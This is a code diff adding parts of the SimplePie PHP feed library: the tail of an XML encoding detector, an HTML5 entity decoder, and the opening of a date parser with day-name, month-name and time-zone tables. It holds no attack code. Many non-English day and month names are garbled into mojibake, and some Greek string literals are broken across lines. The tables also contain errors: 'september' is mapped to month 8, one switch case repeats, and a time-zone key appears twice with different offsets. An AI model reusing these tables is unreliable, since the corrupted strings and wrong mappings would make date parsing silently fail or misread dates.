+		// US-ASCII (or superset)
+		elseif (substr($data, 0, 5) === "\x3C\x3F\x78\x6D\x6C")
+		{
+			if ($pos = strpos($data, "\x3F\x3E"))
+			{
+				$parser = new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5));
+				if ($parser->parse())
+				{
+					$encoding[] = $parser->encoding;
+				}
+			}
+			$encoding[] = 'UTF-8';
+		}
+		// Fallback to UTF-8
+		else
+		{
+			$encoding[] = 'UTF-8';
+		}
+		return $encoding;
+	}
+}
+
+/**
+ * Decode HTML Entities
+ *
+ * This implements HTML5 as of revision 967 (2007-06-28)
+ *
+ * @package SimplePie
+ */
+class SimplePie_Decode_HTML_Entities
+{
+	/**
+	 * Data to be parsed
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Currently consumed bytes
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $consumed = '';
+
+	/**
+	 * Position of the current byte being parsed
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $position = 0;
+
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_Decode_HTML_Entities($data)
+	{
+		$this->data = $data;
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return string Output data
+	 */
+	function parse()
+	{
+		while (($this->position = strpos($this->data, '&', $this->position)) !== false)
+		{
+			$this->consume();
+			$this->entity();
+			$this->consumed = '';
+		}
+		return $this->data;
+	}
+
+	/**
+	 * Consume the next byte
+	 *
+	 * @access private
+	 * @return mixed The next byte, or false, if there is no more data
+	 */
+	function consume()
+	{
+		if (isset($this->data[$this->position]))
+		{
+			$this->consumed .= $this->data[$this->position];
+			return $this->data[$this->position++];
+		}
+		else
+		{
+			$this->consumed = false;
+			return false;
+		}
+	}
+
+	/**
+	 * Consume a range of characters
+	 *
+	 * @access private
+	 * @param string $chars Characters to consume
+	 * @return mixed A series of characters that match the range, or false
+	 */
+	function consume_range($chars)
+	{
+		if ($len = strspn($this->data, $chars, $this->position))
+		{
+			$data = substr($this->data, $this->position, $len);
+			$this->consumed .= $data;
+			$this->position += $len;
+			return $data;
+		}
+		else
+		{
+			$this->consumed = false;
+			return false;
+		}
+	}
+
+	/**
+	 * Unconsume one byte
+	 *
+	 * @access private
+	 */
+	function unconsume()
+	{
+		$this->consumed = substr($this->consumed, 0, -1);
+		$this->position--;
+	}
+
+	/**
+	 * Decode an entity
+	 *
+	 * @access private
+	 */
+	function entity()
+	{
+		switch ($this->consume())
+		{
+			case "\x09":
+			case "\x0A":
+			case "\x0B":
+			case "\x0B":
+			case "\x0C":
+			case "\x20":
+			case "\x3C":
+			case "\x26":
+			case false:
+				break;
+
+			case "\x23":
+				switch ($this->consume())
+				{
+					case "\x78":
+					case "\x58":
+						$range = '0123456789ABCDEFabcdef';
+						$hex = true;
+						break;
+
+					default:
+						$range = '0123456789';
+						$hex = false;
+						$this->unconsume();
+						break;
+				}
+
+				if ($codepoint = $this->consume_range($range))
+				{
+					static $windows_1252_specials = array(0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8");
+
+					if ($hex)
+					{
+						$codepoint = hexdec($codepoint);
+					}
+					else
+					{
+						$codepoint = intval($codepoint);
+					}
+
+					if (isset($windows_1252_specials[$codepoint]))
+					{
+						$replacement = $windows_1252_specials[$codepoint];
+					}
+					else
+					{
+						$replacement = SimplePie_Misc::codepoint_to_utf8($codepoint);
+					}
+
+					if ($this->consume() != ';')
+					{
+						$this->unconsume();
+					}
+
+					$consumed_length = strlen($this->consumed);
+					$this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length);
+					$this->position += strlen($replacement) - $consumed_length;
+				}
+				break;
+
+			default:
+				static $entities = array('Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => "\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C");
+
+				for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++)
+				{
+					$consumed = substr($this->consumed, 1);
+					if (isset($entities[$consumed]))
+					{
+						$match = $consumed;
+					}
+				}
+
+				if ($match !== null)
+				{
+ 					$this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1);
+					$this->position += strlen($entities[$match]) - strlen($consumed) - 1;
+				}
+				break;
+		}
+	}
+}
+
+/**
+ * Date Parser
+ *
+ * @package SimplePie
+ */
+class SimplePie_Parse_Date
+{
+	/**
+	 * Input data
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $date;
+
+	/**
+	 * List of days, calendar day name => ordinal day number in the week
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $day = array(
+		// English
+		'mon' => 1,
+		'monday' => 1,
+		'tue' => 2,
+		'tuesday' => 2,
+		'wed' => 3,
+		'wednesday' => 3,
+		'thu' => 4,
+		'thursday' => 4,
+		'fri' => 5,
+		'friday' => 5,
+		'sat' => 6,
+		'saturday' => 6,
+		'sun' => 7,
+		'sunday' => 7,
+		// Dutch
+		'maandag' => 1,
+		'dinsdag' => 2,
+		'woensdag' => 3,
+		'donderdag' => 4,
+		'vrijdag' => 5,
+		'zaterdag' => 6,
+		'zondag' => 7,
+		// French
+		'lundi' => 1,
+		'mardi' => 2,
+		'mercredi' => 3,
+		'jeudi' => 4,
+		'vendredi' => 5,
+		'samedi' => 6,
+		'dimanche' => 7,
+		// German
+		'montag' => 1,
+		'dienstag' => 2,
+		'mittwoch' => 3,
+		'donnerstag' => 4,
+		'freitag' => 5,
+		'samstag' => 6,
+		'sonnabend' => 6,
+		'sonntag' => 7,
+		// Italian
+		'lunedÃ¬' => 1,
+		'martedÃ¬' => 2,
+		'mercoledÃ¬' => 3,
+		'giovedÃ¬' => 4,
+		'venerdÃ¬' => 5,
+		'sabato' => 6,
+		'domenica' => 7,
+		// Spanish
+		'lunes' => 1,
+		'martes' => 2,
+		'miÃ©rcoles' => 3,
+		'jueves' => 4,
+		'viernes' => 5,
+		'sÃ¡bado' => 6,
+		'domingo' => 7,
+		// Finnish
+		'maanantai' => 1,
+		'tiistai' => 2,
+		'keskiviikko' => 3,
+		'torstai' => 4,
+		'perjantai' => 5,
+		'lauantai' => 6,
+		'sunnuntai' => 7,
+		// Hungarian
+		'hÃ©tfÅ' => 1,
+		'kedd' => 2,
+		'szerda' => 3,
+		'csÃŒtÃ¶rtok' => 4,
+		'pÃ©ntek' => 5,
+		'szombat' => 6,
+		'vasÃ¡rnap' => 7,
+		// Greek
+		'ÎÎµÏ
+' => 1,
+		'Î€ÏÎ¹' => 2,
+		'Î€ÎµÏ' => 3,
+		'Î ÎµÎŒ' => 4,
+		'Î Î±Ï' => 5,
+		'Î£Î±Î²' => 6,
+		'ÎÏ
+Ï' => 7,
+	);
+
+	/**
+	 * List of months, calendar month name => calendar month number
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $month = array(
+		// English
+		'jan' => 1,
+		'january' => 1,
+		'feb' => 2,
+		'february' => 2,
+		'mar' => 3,
+		'march' => 3,
+		'apr' => 4,
+		'april' => 4,
+		'may' => 5,
+		// No long form of May
+		'jun' => 6,
+		'june' => 6,
+		'jul' => 7,
+		'july' => 7,
+		'aug' => 8,
+		'august' => 8,
+		'sep' => 9,
+		'september' => 8,
+		'oct' => 10,
+		'october' => 10,
+		'nov' => 11,
+		'november' => 11,
+		'dec' => 12,
+		'december' => 12,
+		// Dutch
+		'januari' => 1,
+		'februari' => 2,
+		'maart' => 3,
+		'april' => 4,
+		'mei' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'augustus' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'december' => 12,
+		// French
+		'janvier' => 1,
+		'fÃ©vrier' => 2,
+		'mars' => 3,
+		'avril' => 4,
+		'mai' => 5,
+		'juin' => 6,
+		'juillet' => 7,
+		'aoÃ»t' => 8,
+		'septembre' => 9,
+		'octobre' => 10,
+		'novembre' => 11,
+		'dÃ©cembre' => 12,
+		// German
+		'januar' => 1,
+		'februar' => 2,
+		'mÃ€rz' => 3,
+		'april' => 4,
+		'mai' => 5,
+		'juni' => 6,
+		'juli' => 7,
+		'august' => 8,
+		'september' => 9,
+		'oktober' => 10,
+		'november' => 11,
+		'dezember' => 12,
+		// Italian
+		'gennaio' => 1,
+		'febbraio' => 2,
+		'marzo' => 3,
+		'aprile' => 4,
+		'maggio' => 5,
+		'giugno' => 6,
+		'luglio' => 7,
+		'agosto' => 8,
+		'settembre' => 9,
+		'ottobre' => 10,
+		'novembre' => 11,
+		'dicembre' => 12,
+		// Spanish
+		'enero' => 1,
+		'febrero' => 2,
+		'marzo' => 3,
+		'abril' => 4,
+		'mayo' => 5,
+		'junio' => 6,
+		'julio' => 7,
+		'agosto' => 8,
+		'septiembre' => 9,
+		'setiembre' => 9,
+		'octubre' => 10,
+		'noviembre' => 11,
+		'diciembre' => 12,
+		// Finnish
+		'tammikuu' => 1,
+		'helmikuu' => 2,
+		'maaliskuu' => 3,
+		'huhtikuu' => 4,
+		'toukokuu' => 5,
+		'kesÃ€kuu' => 6,
+		'heinÃ€kuu' => 7,
+		'elokuu' => 8,
+		'suuskuu' => 9,
+		'lokakuu' => 10,
+		'marras' => 11,
+		'joulukuu' => 12,
+		// Hungarian
+		'januÃ¡r' => 1,
+		'februÃ¡r' => 2,
+		'mÃ¡rcius' => 3,
+		'Ã¡prilis' => 4,
+		'mÃ¡jus' => 5,
+		'jÃºnius' => 6,
+		'jÃºlius' => 7,
+		'augusztus' => 8,
+		'szeptember' => 9,
+		'oktÃ³ber' => 10,
+		'november' => 11,
+		'december' => 12,
+		// Greek
+		'ÎÎ±Îœ' => 1,
+		'ÎŠÎµÎ²' => 2,
+		'ÎÎ¬Ï' => 3,
+		'ÎÎ±Ï' => 3,
+		'ÎÏÏ' => 4,
+		'ÎÎ¬Î¹' => 5,
+		'ÎÎ±Ï' => 5,
+		'ÎÎ±Î¹' => 5,
+		'ÎÎ¿ÏÎœ' => 6,
+		'ÎÎ¿Îœ' => 6,
+		'ÎÎ¿ÏÎ»' => 7,
+		'ÎÎ¿Î»' => 7,
+		'ÎÏÎ³' => 8,
+		'ÎÏ
+Î³' => 8,
+		'Î£ÎµÏ' => 9,
+		'ÎÎºÏ' => 10,
+		'ÎÎ¿Î­' => 11,
+		'ÎÎµÎº' => 12,
+	);
+
+	/**
+	 * List of timezones, abbreviation => offset from UTC
+	 *
+	 * @access protected
+	 * @var array
+	 */
+	var $timezone = array(
+		'ACDT' => 37800,
+		'ACIT' => 28800,
+		'ACST' => 34200,
+		'ACT' => -18000,
+		'ACWDT' => 35100,
+		'ACWST' => 31500,
+		'AEDT' => 39600,
+		'AEST' => 36000,
+		'AFT' => 16200,
+		'AKDT' => -28800,
+		'AKST' => -32400,
+		'AMDT' => 18000,
+		'AMT' => -14400,
+		'ANAST' => 46800,
+		'ANAT' => 43200,
+		'ART' => -10800,
+		'AZOST' => -3600,
+		'AZST' => 18000,
+		'AZT' => 14400,
+		'BIOT' => 21600,
+		'BIT' => -43200,
+		'BOT' => -14400,
+		'BRST' => -7200,
+		'BRT' => -10800,
+		'BST' => 3600,
+		'BTT' => 21600,
+		'CAST' => 18000,
+		'CAT' => 7200,
+		'CCT' => 23400,
+		'CDT' => -18000,
+		'CEDT' => 7200,
+		'CET' => 3600,
+		'CGST' => -7200,
+		'CGT' => -10800,
+		'CHADT' => 49500,
+		'CHAST' => 45900,
+		'CIST' => -28800,
+		'CKT' => -36000,
+		'CLDT' => -10800,
+		'CLST' => -14400,
+		'COT' => -18000,
+		'CST' => -21600,
+		'CVT' => -3600,
+		'CXT' => 25200,
+		'DAVT' => 25200,
+		'DTAT' => 36000,
+		'EADT' => -18000,
+		'EAST' => -21600,
+		'EAT' => 10800,
+		'ECT' => -18000,
+		'EDT' => -14400,
+		'EEST' => 10800,
+		'EET' => 7200,
+		'EGT' => -3600,
+		'EKST' => 21600,
+		'EST' => -18000,
+		'FJT' => 43200,
+		'FKDT' => -10800,
+		'FKST' => -14400,
+		'FNT' => -7200,
+		'GALT' => -21600,
+		'GEDT' => 14400,
+		'GEST' => 10800,
+		'GFT' => -10800,
+		'GILT' => 43200,
+		'GIT' => -32400,
+		'GST' => 14400,
+		'GST' => -7200,
+		'GYT' => -14400,
+		'HAA' => -10800,
+		'HAC' => -18000,
+		'HADT' => -32400,
+		'HAE' => -14400,
+		'HAP' => -25200,
+		'HAR' => -21600,
+		'HAST' => -36000,
+		'HAT' => -9000,
+		'HAY' => -28800,
+		'HKST' => 28800,
+		'HMT' => 18000,
+		'HNA' => -14400,
+		'HNC' => -21600,
+		'HNE' => -18000,
+		'HNP' => -28800,
+		'HNR' => -25200,
+		'HNT' => -12600,
+		'HNY' => -32400,
+		'IRDT' => 16200,
+		'IRKST' => 32400,
+		'IRKT' => 28800,
+		'IRST' => 12600,
+		'JFDT' => -10800,
+		'JFST' => -14400,
+		'JST' => 32400,
+		'KGST' => 21600,
+		'KGT' => 18000,
+		'KOST' => 39600,
+		'KOVST' => 28800,
+		'KOVT' => 25200,
+		'KRAST' => 28800,
+		'KRAT' => 25200,
+		'KST' => 32400,
+		'LHDT' => 39600,
+		'LHST' => 37800,
+		'LINT' => 50400,
+		'LKT' => 21600,
+		'MAGST' => 43200,
+		'MAGT' => 39600,
+		'MAWT' => 21600,
+		'MDT' => -21600,
+		'MESZ' => 7200,
+		'MEZ' => 3600,
+		'MHT' => 43200,
+		'MIT' => -34200,
+		'MNST' => 32400,
+		'MSDT' => 14400,
+		'MSST' => 10800,
+		'MST' => -25200,
+		'MUT' => 14400,
+		'MVT' => 18000,
+		'MYT' => 28800,
+		'NCT' => 39600,
+		'NDT' => -9000,
+		'NFT' => 41400,
+		'NMIT' => 36000,
+		'NOVST' => 25200,
+		'NOVT' => 21600,
+		'NPT' => 20700,
+		'NRT' => 43200,
+		'NST' => -12600,
+		'NUT' => -39600,
+		'NZDT' => 46800,
+		'NZST' => 43200,
+		'OMSST' => 25200,
+		'OMST' => 21600,
+		'PDT' => -25200,
+		'PET' => -18000,
+		'PETST' => 46800,
+		'PETT' => 43200,
+		'PGT' => 36000,
+		'PHOT' => 46800,
+		'PHT' => 28800,
+		'PKT' => 18000,
+		'PMDT' => -7200,
+		'PMST' => -10800,
+		'PONT' => 39600,
+		'PST' => -28800,
+		'PWT' => 32400,
+		'PYST' => -10800,
+		'PYT' => -14400,
+		'RET' => 14400,
+		'ROTT' => -10800,
+		'SAMST' => 18000,
+		'SAMT' => 14400,
+		'SAST' => 7200,
+		'SBT' => 39600,
+		'SCDT' => 46800,
+		'SCST' => 43200,
+		'SCT' => 14400,
+		'SEST' => 3600,
+		'SGT' => 28800,
+		'SIT' => 28800,
+		'SRT' => -10800,
+		'SST' => -39600,
+		'SYST' => 10800,
+		'SYT' => 7200,
+		'TFT' => 18000,
+		'THAT' => -36000,
+		'TJT' => 18000,
+		'TKT' => -36000,
+		'TMT' => 18000,
+		'TOT' => 46800,
+		'TPT' => 32400,
+		'TRUT' => 36000,
+		'TVT' => 43200,
+		'TWT' => 28800,
+		'UYST' => -7200,
+		'UYT' => -10800,
+		'UZT' => 18000,
+		'VET' => -14400,
+		'VLAST' => 39600,
+		'VLAT' => 36000,
+		'VOST' => 21600,
+		'VUT' => 39600,
+		'WAST' => 7200,
+		'WAT' => 3600,
+		'WDT' => 32400,
+		'WEST' => 3600,
+		'WFT' => 43200,
+		'WIB' => 25200,
+		'WIT' => 32400,
+		'WITA' => 28800,
+		'WKST' => 18000,
+		'WST' => 28800,
+		'YAKST' => 36000,
+		'YAKT' => 32400,
+		'YAPT' => 36000,
+		'YEKST' => 21600,
+		'YEKT' => 18000,
+	);
+
+	/**
